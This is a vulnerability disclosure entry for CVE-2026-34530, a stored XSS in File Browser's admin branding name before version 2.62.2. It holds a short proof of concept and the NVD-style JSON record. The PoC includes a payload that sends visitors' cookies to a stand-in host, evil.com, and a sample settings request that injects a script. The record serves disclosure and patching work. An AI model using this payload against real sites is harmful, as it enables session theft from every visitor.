CVE-2026-34530

// PoC for CVE-2026-34530: Stored XSS via Branding Name // Attacker needs Admin privileges to set the branding.name. // Malicious Payload to inject: // <img src=x onerror=fetch('https://evil.com/log?c='+document.cookie)> // Example HTTP Request to update settings (Conceptual): /* PUT /api/settings HTTP/1.1 Host: target-filebrowser.com Authorization: Bearer <ADMIN_TOKEN> Content-Type: application/json { "branding": { "name": "<script>console.log('XSS');alert(1)</script>" } } */ // Upon visiting the homepage, the script executes for all users.

{"cve": {"id": "CVE-2026-34530", "sourceIdentifier": "[email protected]", "published": "2026-04-01T21:17:00.993", "lastModified": "2026-04-06T20:34:21.887", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to version 2.62.2, the SPA index page in File Browser is vulnerable to Stored Cross-Site Scripting (XSS) via admin-controlled branding fields. An admin who sets branding.name to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users. This issue has been patched in version 2.62.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filebrowser:filebrowser:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.62.2", "matchCriteriaId": "A22210FE-83DA-49B9-A015-543942FE731F"}]}]}], "references": [{"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.62.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xfqj-3vmx-63wv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}